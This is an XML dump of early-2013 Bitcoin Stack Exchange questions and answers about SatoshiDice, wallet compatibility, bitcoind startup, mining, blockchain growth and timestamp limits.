  <row Id="7368" PostTypeId="2" ParentId="7366" CreationDate="2013-01-30T20:33:27.643" Score="4" Body="&lt;p&gt;Satoshi dice uses the same address bitcoins were sent to send them back. There no wallet that does not permit that, how could you spend coins if at first you cannot receive them. The kind of &quot;wallet&quot; satoshi dice is refering to is like you try to spend bitocoin from a broker service (like Mt.Gox) the address they use is not assured to be yours (and the coin will not return back to you)&lt;/p&gt;&#xA;" OwnerUserId="845" LastActivityDate="2013-01-30T20:33:27.643" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7369" PostTypeId="1" AcceptedAnswerId="14073" CreationDate="2013-01-30T20:45:03.820" Score="11" ViewCount="3160" Body="&lt;p&gt;Everyone knows what SatoshiDice is. Their core mechanic is gambling through the use of Bitcoin transactions with the payout being directly linked to the transaction that fuelled the bed to avoid double-spend attacks. My question is, how to implement such a mechanism? Can it be done in the Standard Client, or does it need some extra software to pick the exact inputs of a transaction?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2019-01-03T19:07:39.863" Title="How to implement a game like SatoshiDice?" Tags="|client|development|satoshidice|gambling|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7370" PostTypeId="1" CreationDate="2013-01-30T21:14:35.913" Score="5" ViewCount="1961" Body="&lt;p&gt;With a few Bitcoin-powered online casinos popping up every now and then, I am wondering where they are hosted and if they operate legally in the given area?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2023-07-12T13:55:58.650" Title="Where are Bitcoin online casinos hosted?" Tags="|services|gambling|hosting|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7372" PostTypeId="2" ParentId="7363" CreationDate="2013-01-30T23:18:40.797" Score="4" Body="&lt;p&gt;It depends a lot on the hardware, and on the architecture. OpenSSL use some assembly-optimized routines, which result in a speed factor of +- x2 between 32 bit and 64 bit (the latter is faster). That said, I've seen verifications taking around 0.47 ms on an Intel Xeon E5-1650 @ 3.20GHz, using 64-bit code. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, version 0.8 will actually do signature verification in parallel. There is also a patch with an optimized ECDSA verifier for the specific curve we're using, which should give a 20% speedup (discovered by Hal Finney). This patch will probably not make it into v0.8, though.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2013-01-30T23:18:40.797" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7373" PostTypeId="2" ParentId="7370" CreationDate="2013-01-30T23:32:33.353" Score="4" Body="&lt;p&gt;This is sort of a general question, so to simplify I'll pick a specific example: SatoshiDice.com&lt;/p&gt;&#xA;&lt;h1&gt;SatoshiDice itself&lt;/h1&gt;&#xA;&lt;p&gt;does not list their location.&lt;/p&gt;&#xA;&lt;h1&gt;DNS&lt;/h1&gt;&#xA;&lt;p&gt;A whois lookup shows that they host their DNS with a company called Public Domain Registry. Using &lt;em&gt;their&lt;/em&gt; whois lookup shows that the domain name is registered to privacyprotect.org&lt;/p&gt;&#xA;&lt;h2&gt;Jurisdictions&lt;/h2&gt;&#xA;&lt;p&gt;Public Domain Registry: Beaverton, Oregon, United States&lt;br /&gt;&#xA;Privacy Protect: Claim an address in Austrailia, but also have a telephone number that begins with Denmark's country code.&lt;/p&gt;&#xA;&lt;h1&gt;Hosting&lt;/h1&gt;&#xA;&lt;p&gt;Their IP address resolves to 54.247.163.243, which is part of a /16 allocated to Amazon, and reverse DNS shows that it is part of their elastic compute cloud. The ARIN/amazon.com whois/amazonaws.com whois all have mailing addresses in Seattle. However, the servers are not located in seattle. A traceroute shows that this ec2 server is hosted in their eu-west-1 region. (i.e. Ireland)&lt;/p&gt;&#xA;&lt;h2&gt;Jurisdictions&lt;/h2&gt;&#xA;&lt;p&gt;Amazon: Seattle, Washington, United States&lt;br /&gt;&#xA;Amazon's servers: Dublin, Ireland&lt;/p&gt;&#xA;&lt;h1&gt;Conclusion&lt;/h1&gt;&#xA;&lt;p&gt;Maybe. What I know about international law could fill a thimble. But if you wanted to shut them down, there are a lot of jurisdictions that you could attack them in.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2013-01-30T23:32:33.353" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7374" PostTypeId="1" CreationDate="2013-01-30T23:38:41.357" Score="1" ViewCount="544" Body="&lt;p&gt;&lt;code&gt;bitcoind&lt;/code&gt; is extremely slow to start (~5-20 minutes). I'm not talking about keeping up with the blockchain, that would be perfectly fine, I'm talking about an initial phase where it doesn't even respond to requests: any call to it returns &lt;em&gt;&quot;error: couldn't connect to server&quot;&lt;/em&gt; (either from command line or from web).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it a known issue, is there a workaround?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OSX 10.6.8, bitcoind 0.7.0 (but happened with earlier versions too).&lt;/p&gt;&#xA;" OwnerUserId="196" LastEditorUserId="196" LastEditDate="2013-01-31T08:16:15.293" LastActivityDate="2013-01-31T08:16:15.293" Title="Slow starting bitcoind" Tags="|bitcoind|" AnswerCount="1" CommentCount="5" ClosedDate="2013-03-19T21:00:28.243" ContentLicense="CC BY-SA 3.0" />
  <row Id="7375" PostTypeId="2" ParentId="4786" CreationDate="2013-01-31T01:52:00.353" Score="2" Body="&lt;p&gt;The system of shares on a pool is set by the pool owner. It is not exactly the same as mining litecoin solo, and in fact some pools will have much smaller shares (pool-x.eu) set up to encourage you to continue mining, even though you are not actually mining more litecoin. Other pools have larger shares which take longer to mine (ltc.kattare.com), but are actually less work for the server so (theoretically) you should get a bit more from the longer ones.  While solo mining you are A) getting all the shares yourself with no &quot;pool power&quot; and B)getting the normal share size for litecoin. Hope this helps, 5mil&lt;/p&gt;&#xA;" OwnerUserId="2779" LastActivityDate="2013-01-31T01:52:00.353" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7376" PostTypeId="2" ParentId="7360" CreationDate="2013-01-31T02:13:14.357" Score="1" Body="&lt;p&gt;In the U.S. FinCEN changed the term used for prepaid cards from &quot;stored value&quot; to &quot;prepaid access&quot; and refers to &quot;electronic codes&quot; as being one of the types of &quot;prepaid access&quot;.  Additionally, they have widened the scope of what a money service business is, and that new scope includes those that serve U.S. customers online even without having any presence in the U.S.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.bitcoinmoney.com/post/11074108719&quot; rel=&quot;nofollow&quot;&gt;http://www.bitcoinmoney.com/post/11074108719&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-01-31T02:13:14.357" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7377" PostTypeId="2" ParentId="7366" CreationDate="2013-01-31T02:22:45.710" Score="4" Body="&lt;p&gt;&lt;a href=&quot;http://www.BitLotto.com&quot; rel=&quot;nofollow&quot;&gt;BitLotto&lt;/a&gt; has the same restrictions and maintains a list of compatible wallets. Currently that list includes:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Bitcoin-Qt/bitcoind (client)&lt;/li&gt;&#xA;&lt;li&gt;Electrum (client/server)&lt;/li&gt;&#xA;&lt;li&gt;Armory (client, Bitcoin client dependency)&lt;/li&gt;&#xA;&lt;li&gt;BitcoinJ (Client)&lt;/li&gt;&#xA;&lt;li&gt;MultiBit (Simplified payment verification/SPV client)&lt;/li&gt;&#xA;&lt;li&gt;Blockchain.info (Hybrid EWallet)&lt;/li&gt;&#xA;&lt;li&gt;Blockchain App for Android, iOS (Mobile app hybrid client)&lt;/li&gt;&#xA;&lt;li&gt;Strongcoin (Hybrid EWallet)&lt;/li&gt;&#xA;&lt;li&gt;BitcoinSpinner for Android (Client/server)&lt;/li&gt;&#xA;&lt;li&gt;Bitcoin Wallet for Android (Simplified payment verification/SPV client)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Essentially everything else is a hosted (shared) EWallet and therefore is not compatible.  This includes EWallets at exchanges, EWallet sites like Instawallet, and other services like mixers and more.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-01-31T02:22:45.710" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7378" PostTypeId="1" CreationDate="2013-01-31T02:43:32.850" Score="3" ViewCount="2894" Body="&lt;p&gt;I downloaded Bitcoin. qt and started the sync (which was going to take about 6 days UGH) so about 4 days into it i tried to open the app and Now the app shows &quot;error loading blkindex.dat&quot; So i cannot access my wallet on my computer and never really got a chance to backup or encrypt anything... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried using blockchain.info's desktop sync function but literally nothing happens when i press &quot;download address list&quot; on step 3...????&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have also tried MtGox but i can't find anywhere to upload my wallet.dat file...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there ANY WAY i can get my coins? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm running Mac OS X. Be as specific as you can please :) &lt;/p&gt;&#xA;" OwnerUserId="2780" LastEditorUserId="2780" LastEditDate="2013-01-31T09:14:16.913" LastActivityDate="2013-01-31T09:14:16.913" Title="I sent bitcoins to my wallet before it had synced. is there ANY way i can get my coins back?" Tags="|blockchain|network|bitcoin-core|synchronization|wallet.dat|" AnswerCount="2" CommentCount="1" ClosedDate="2015-08-20T12:15:01.490" ContentLicense="CC BY-SA 3.0" />
  <row Id="7379" PostTypeId="2" ParentId="7378" CreationDate="2013-01-31T03:39:44.847" Score="4" Body="&lt;p&gt;As long as your wallet.dat file is uncorrupted/unstolen, your coins are fine. Try backing up the wallet.dat file, uninstalling Bitcoin, then reinstalling.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2013-01-31T03:39:44.847" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7380" PostTypeId="2" ParentId="7378" CreationDate="2013-01-31T03:48:51.113" Score="2" Body="&lt;p&gt;&lt;a href=&quot;http://blockchain.info/wallet&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blockchain.info/wallet&lt;/a&gt; has the ability to import individual private keys as well.   The &lt;a href=&quot;https://bitcoin.stackexchange.com/a/5933/153&quot;&gt;private keys can be exported&lt;/a&gt; now right from the Bitcoin-Qt client (v0.7 and higher) directly without the need for pywallet or any other utility.&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2013-01-31T03:48:51.113" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7381" PostTypeId="1" CreationDate="2013-01-31T03:55:14.917" Score="3" ViewCount="2965" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Possible Duplicate:&lt;/strong&gt;&lt;br&gt;&#xA;  &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/2798/are-there-any-studies-into-the-size-of-the-blockchain-scaling-over-time&quot;&gt;Are there any studies into the size of the blockchain scaling over time?&lt;/a&gt;  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;Hi folks, I have a theoretical question. Since the blockchain stores all bitcoin transactions, does this mean that it is ever-increasing and will never, ever stop gobbling up disk space?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers!&lt;/p&gt;&#xA;" OwnerUserId="1934" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2013-01-31T09:42:04.363" Title="Is the blockchain ever-increasing? (forever)" Tags="|blockchain|" AnswerCount="3" CommentCount="0" ClosedDate="2013-02-01T07:42:55.507" ContentLicense="CC BY-SA 3.0" />
  <row Id="7382" PostTypeId="2" ParentId="7362" CreationDate="2013-01-31T04:14:00.040" Score="1" Body="&lt;p&gt;Here's how I understand your question: You have a spare computer that you'd like to run bitcoin on to help the network. You have a second computer that is your main personal computer; it's also where you'd like to keep your bitcoins. Two copies of the blockchain would waste bandwidth and disk space.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There &lt;em&gt;is&lt;/em&gt; a way to keep the blockchain on one computer but to keep your coins on another - you can run the electrum client, and the normal bitcoin client on the other computer. Optionally, you can run the electrum server on your always-up computer, although this requires some command-line knowledge.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/spesmilo/electrum-server/blob/master/HOWTO.md&quot; rel=&quot;nofollow&quot;&gt;https://github.com/spesmilo/electrum-server/blob/master/HOWTO.md&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2013-01-31T04:14:00.040" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7383" PostTypeId="2" ParentId="7311" CreationDate="2013-01-31T04:30:03.073" Score="6" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Do you look on the blockchain ?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No, because the blockchain only has confirmed transactions. Instead, the miner looks at its memory pool. It's named that because they are forgotten when the miner shuts down.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2013-01-31T04:30:03.073" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7384" PostTypeId="2" ParentId="7381" CreationDate="2013-01-31T05:44:39.960" Score="2" Body="&lt;p&gt;The short answer is that old, spent transactions can be pruned, meaning the part of the blockchain that has to be stored to run a node doesn't have to grow forever.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2013-01-31T05:44:39.960" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7385" PostTypeId="2" ParentId="7374" CreationDate="2013-01-31T06:58:25.820" Score="2" Body="&lt;p&gt;You very probably have a massive &lt;code&gt;wallet.dat&lt;/code&gt; file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This happens with Instawallet's bitcoind, it takes an hour to start up, it spends this time loading the wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to make sure :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Stop bitcoind&lt;/li&gt;&#xA;&lt;li&gt;Open up a Terminal, and type :&#xA;&lt;code&gt;$ tail -f ~/Library/Application\ Support/Bitcoin/debug.log&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Press ⌘K to clear the scrollback and window&lt;/li&gt;&#xA;&lt;li&gt;Start bitcoind&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You should see some output when the client starts, if the problem is actually with loading the wallet the output should stop for a while on 'Loading wallet'.&lt;/p&gt;&#xA;" OwnerUserId="2593" LastActivityDate="2013-01-31T06:58:25.820" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7386" PostTypeId="2" ParentId="7381" CreationDate="2013-01-31T07:57:16.210" Score="5" Body="&lt;p&gt;Yes, the blockchain itself will keep increasing forever. On the other hand, one does not need to store the entire blockchain to use Bitcoin. It is possible that later version of Bitcoin will start pruning old, spent transactions to keep local disc storage smaller.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2013-01-31T07:57:16.210" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7387" PostTypeId="2" ParentId="7381" CreationDate="2013-01-31T09:42:04.363" Score="4" Body="&lt;p&gt;No. If a car is heading North on a highway that ends in five miles, will it run off the end of the road? Of course not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A car going North on a highway now will not go North on a highway forever. The driver will turn the steering wheel before it runs off the end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get a &quot;yes&quot; answer, you have to assume the car has no driver. But then you're asking a question about an absurd hypothetical where a car speeds down a highway with no driver.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-01-31T09:42:04.363" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="7388" PostTypeId="1" CreationDate="2013-01-31T11:21:13.880" Score="2" ViewCount="1457" Body="&lt;p&gt;Is it technically possible to create and use dynamic private key - public key pair and use it with bitcoin?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not sure anything conceptually similar to this already exists. Yet, &quot;dynamic&quot; private - public key pair can be defined as ordinary key pair with 2FA capabilities. Both the keys regularly change per generated 2FA token.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically I hope the following,&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;create dynamic private - public key pair, combining 2FA (like, google authenticator) and a passphrase&lt;/li&gt;&#xA;&lt;li&gt;this key pair can only be used for a short defined duration, or as long as 2FA token is valid&lt;/li&gt;&#xA;&lt;li&gt;receive funds&lt;/li&gt;&#xA;&lt;li&gt;chronologically old key pairs can be used to check / receive funds (or, not)&lt;/li&gt;&#xA;&lt;li&gt;In future, private key generated from passphrase and 2FA token can be used to spend the coins&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/BIP_0038&quot; rel=&quot;nofollow&quot;&gt;BIP 38&lt;/a&gt; is not anyway related to this.&lt;/p&gt;&#xA;" OwnerUserId="2229" LastEditorUserId="2229" LastEditDate="2013-02-01T04:20:40.297" LastActivityDate="2013-05-02T05:10:29.893" Title="Is it technically possible to create and use dynamic private key - public key pair and use it with bitcoin?" Tags="|private-key|public-key|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="7389" PostTypeId="2" ParentId="7388" CreationDate="2013-01-31T11:49:05.220" Score="1" Body="&lt;p&gt;No, it is not possible to do what you are suggesting.  Here's more info about cryptography.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;You can create create an ECDSA keypair with almost any random data (it must a lower than a certain value, but go check ECDSA specs) and then generate an address... But a keypair will always be valid to receive bitcoins or send them (if you still have the private key).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The thing is that a other party will not be able to know what is your next address since you need the private key to do that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So yeah you can create keypairs with almost any data, but I don't think it'll be dynamic in the way you think.&lt;/p&gt;&#xA;" OwnerUserId="845" LastEditorUserId="153" LastEditDate="2013-01-31T11:55:39.923" LastActivityDate="2013-01-31T11:55:39.923" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7390" PostTypeId="1" CreationDate="2013-01-31T12:44:49.410" Score="10" ViewCount="15145" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Possible Duplicate:&lt;/strong&gt;&lt;br&gt;&#xA;  &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1433/how-can-i-start-mining-bitcoin&quot;&gt;How can I start mining Bitcoin?&lt;/a&gt;  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;Nothing ever says how to actually mine bitcoins, except to join a pool. I don't want to do that. All I really know is that each block has an equation associated with it, and whoever solves it gets the coins. I assume that the miner is trying to solve the equation, and I also assume that this just means running the bitcoin client and hoping your computer can generate a block. If bitcoin qt (from the website) doesn't mine bitcoins, what does?&lt;/p&gt;&#xA;" OwnerUserId="2784" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2016-03-15T09:22:29.373" Title="Does the program I downloaded (bitcoin-qt) mine bitcoins?" Tags="|bitcoin-core|client|solo-mining|" AnswerCount="2" CommentCount="1" FavoriteCount="0" ClosedDate="2013-02-01T07:39:49.270" ContentLicense="CC BY-SA 3.0" />
  <row Id="7391" PostTypeId="2" ParentId="7390" CreationDate="2013-01-31T12:49:29.280" Score="2" Body="&lt;p&gt;The client cannot mine by itself you need a miner for that. However you will need the client to relay the blocks you find and to getwork if you mine alone. Try &lt;a href=&quot;https://bitcointalk.org/?topic=3878.0&quot; rel=&quot;nofollow&quot;&gt;guiminer&lt;/a&gt; for starter it can mine on his own or on a pool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And you should really join a pool since it can be really difficult to mine by your own (exept if you have 1.5 Thash/s mining rig ready)&lt;/p&gt;&#xA;" OwnerUserId="845" LastActivityDate="2013-01-31T12:49:29.280" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7392" PostTypeId="2" ParentId="7311" CreationDate="2013-01-31T13:00:47.567" Score="7" Body="&lt;p&gt;A bitcoin node's (bitcoin's standard client acts as one) first function is to relay transactions on a best effort basis, it only relays valid transaction. The miner which also is a node will try to solve a block on the transaction it received, but in the end the miner has last word he can decide to arbitrarily discard some transaction (like one with no miner's fee)&lt;/p&gt;&#xA;" OwnerUserId="845" LastActivityDate="2013-01-31T13:00:47.567" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="7393" PostTypeId="1" AcceptedAnswerId="7398" CreationDate="2013-01-31T13:34:06.207" Score="8" ViewCount="423" Body="&lt;p&gt;I was rather surprised when I read about the bitcoin's block header time field is only 32 bit. Even if it is unsigned (it is) it only get us 68 more years than the &lt;a href=&quot;http://en.wikipedia.org/wiki/Year_2038_problem&quot;&gt;Y2K38 problem&lt;/a&gt;. What will happen then, will we need to change the protocol? Can we? What would it imply then?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why at first Satoshi did not put a &lt;a href=&quot;http://web.archive.org/web/20060408161959/http://unununium.org/articles/uuutime&quot;&gt;64 bit timestamp&lt;/a&gt; at first was that intended?&lt;/p&gt;&#xA;" OwnerUserId="845" LastActivityDate="2015-04-24T17:43:21.467" Title="What will happen when the time field wraps around" Tags="|protocol|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7394" PostTypeId="2" ParentId="7393" CreationDate="2013-01-31T13:34:06.207" Score="0" Body="&lt;p&gt;We will need to change the protocol, because if we let things go node will never accept any block past the wrap around.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The protocol can be changed because of the version field but we need a consensus of the most part of the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What will happen then? Anything application specific that cannot change the way it works; i.e. all those ASICS (not yet released), will become obsolete because they are made to calculate hash with a 80 bytes header.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But it all is far in the future we will have time to prepare our self.&lt;/p&gt;&#xA;" OwnerUserId="845" LastActivityDate="2013-01-31T13:34:06.207" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7396" PostTypeId="2" ParentId="4586" CreationDate="2013-01-31T16:14:06.963" Score="3" Body="&lt;p&gt;I think the problem is that the Bitcoin-Qt client doesn't know that you have changed the wallet, and for performance reasons doesn't rescan the blockchain for transaction relating to the new wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's easy solved by starting Bitcoin-Qt with the &lt;strong&gt;-rescan&lt;/strong&gt; parameter.&lt;/p&gt;&#xA;" OwnerUserId="2785" LastActivityDate="2013-01-31T16:14:06.963" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7397" PostTypeId="2" ParentId="7363" CreationDate="2013-01-31T16:28:21.663" Score="4" Body="&lt;p&gt;I instrumented the Satoshi client to see hwo long a transaction verification takes. This includes the signature verification, but is probably more of an upper bound as it also includes several disk seeks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7IEMX.png&quot; alt=&quot;Transaction verification time&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4500 Transactions. With the following percentiles:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;50 percentile 5.0&lt;/li&gt;&#xA;&lt;li&gt;75 percentile 10.0&lt;/li&gt;&#xA;&lt;li&gt;85 percentile 15.0&lt;/li&gt;&#xA;&lt;li&gt;95 percentile 36.0&lt;/li&gt;&#xA;&lt;li&gt;99 percentile 207.27&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;While not at all representative it would point towards your estimate being correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: this was taken on a Lenovo T420 with spinning disks.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2013-01-31T16:28:21.663" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7398" PostTypeId="2" ParentId="7393" CreationDate="2013-01-31T23:34:49.007" Score="8" Body="&lt;p&gt;2^32 seconds is 136 years. So, this will become a problem in the year &lt;em&gt;2106&lt;/em&gt;. However, even at that point, there are things that we can do to fix the problem. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;While it is technically correct that the block number is not encoded in each block header, the block number can easily be inferred. Each block header has the hash of the previous block header. If you follow this back far enough, you'll get to the &lt;a href=&quot;https://en.bitcoin.it/wiki/Genesis_block&quot; rel=&quot;nofollow&quot;&gt;genesis block&lt;/a&gt;. You don't even need to download the entire transaction history, just the block headers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Okay, so we've got the block number, and the date field. Now, we make a rule that on block 4786000 and all later blocks (which will land at about 2100) the date field will be interpreted to be 100 years later. Block 4786000 will state a date of 2000, but because we made this rule well in advance (we did make it well in advance, right?) all of the clients will know that the date actually means 2100.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thus, we have bought ourselves another 100 years. On block 9572000, we can do exactly the same thing. &lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2015-04-24T17:43:21.467" LastActivityDate="2015-04-24T17:43:21.467" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7401" PostTypeId="2" ParentId="4113" CreationDate="2013-02-01T02:15:12.383" Score="-1" Body="&lt;p&gt;They use 2 Factor ID at ZIGGAP which I found to be one of the best new exchanges out there.&lt;/p&gt;&#xA;" OwnerUserId="2787" LastEditorUserId="323" LastEditDate="2013-02-25T10:32:30.027" LastActivityDate="2013-02-25T10:32:30.027" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7403" PostTypeId="2" ParentId="7390" CreationDate="2013-02-01T06:32:38.223" Score="13" Body="&lt;p&gt;Yes, but not efficiently. In fact, CPU's are so bad at mining bitcoin that the option was removed from the user interface. However, the code is still there (though mostly as a reference implementation), and you can go to Help &gt; Debug Window &gt; Console and type in &quot;setgenerate true&quot; to turn it on.  Type &quot;setgenerate false&quot; to stop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also give bitcoin the option &lt;code&gt;-gen&lt;/code&gt; at the command line.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2013-10-31T08:40:06.430" LastActivityDate="2013-10-31T08:40:06.430" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7404" PostTypeId="1" AcceptedAnswerId="7407" CreationDate="2013-02-01T07:47:04.037" Score="26" ViewCount="1952" Body="&lt;p&gt;Bitcoin needs to know the current time in order to validate blocks. How does it decide that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that I'm talking about the Satoshi client specifically.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2015-01-11T07:36:24.643" LastActivityDate="2017-10-03T04:11:00.113" Title="How does Bitcoin figure out what time it is?" Tags="|timestamp|time|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7405" PostTypeId="2" ParentId="1305" CreationDate="2013-02-01T07:58:36.170" Score="3" Body="&lt;p&gt;Tenebrix uses Scrypt as the proof of work algorithm. Scrypt was said to be GPU resistant due to the in memory look up tables the algorithm uses. Most people no longer mine tenebrix with CPUs and use GPUs instead. Mining tenebrix with a GPU you can expect to hash at approximately 1/1000th the rate you would get on the same card mining bitcoins. For example, if you had a 5970 mining bitcoin at ~700Mhash/s you could expect to get ~700khash/s mining tenebrix. There is by no means a direct correlation as in the example and in reality the tenebrix has rate will probably be less but it is true enough to do rough hardware comparisons where litecoin mining data is lacking.&lt;/p&gt;&#xA;" OwnerUserId="2789" LastActivityDate="2013-02-01T07:58:36.170" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7406" PostTypeId="2" ParentId="7404" CreationDate="2013-02-01T08:55:09.153" Score="11" Body="&lt;p&gt;As individual clients may have an arbitrary timeshift, the Satoshi client will use the &lt;strong&gt;median&lt;/strong&gt; of its neighbors times alongs with its own time to find an offset to the local clock. This offset will then be used throughout the client wherever an accurate time is needed.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2013-02-01T08:55:09.153" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
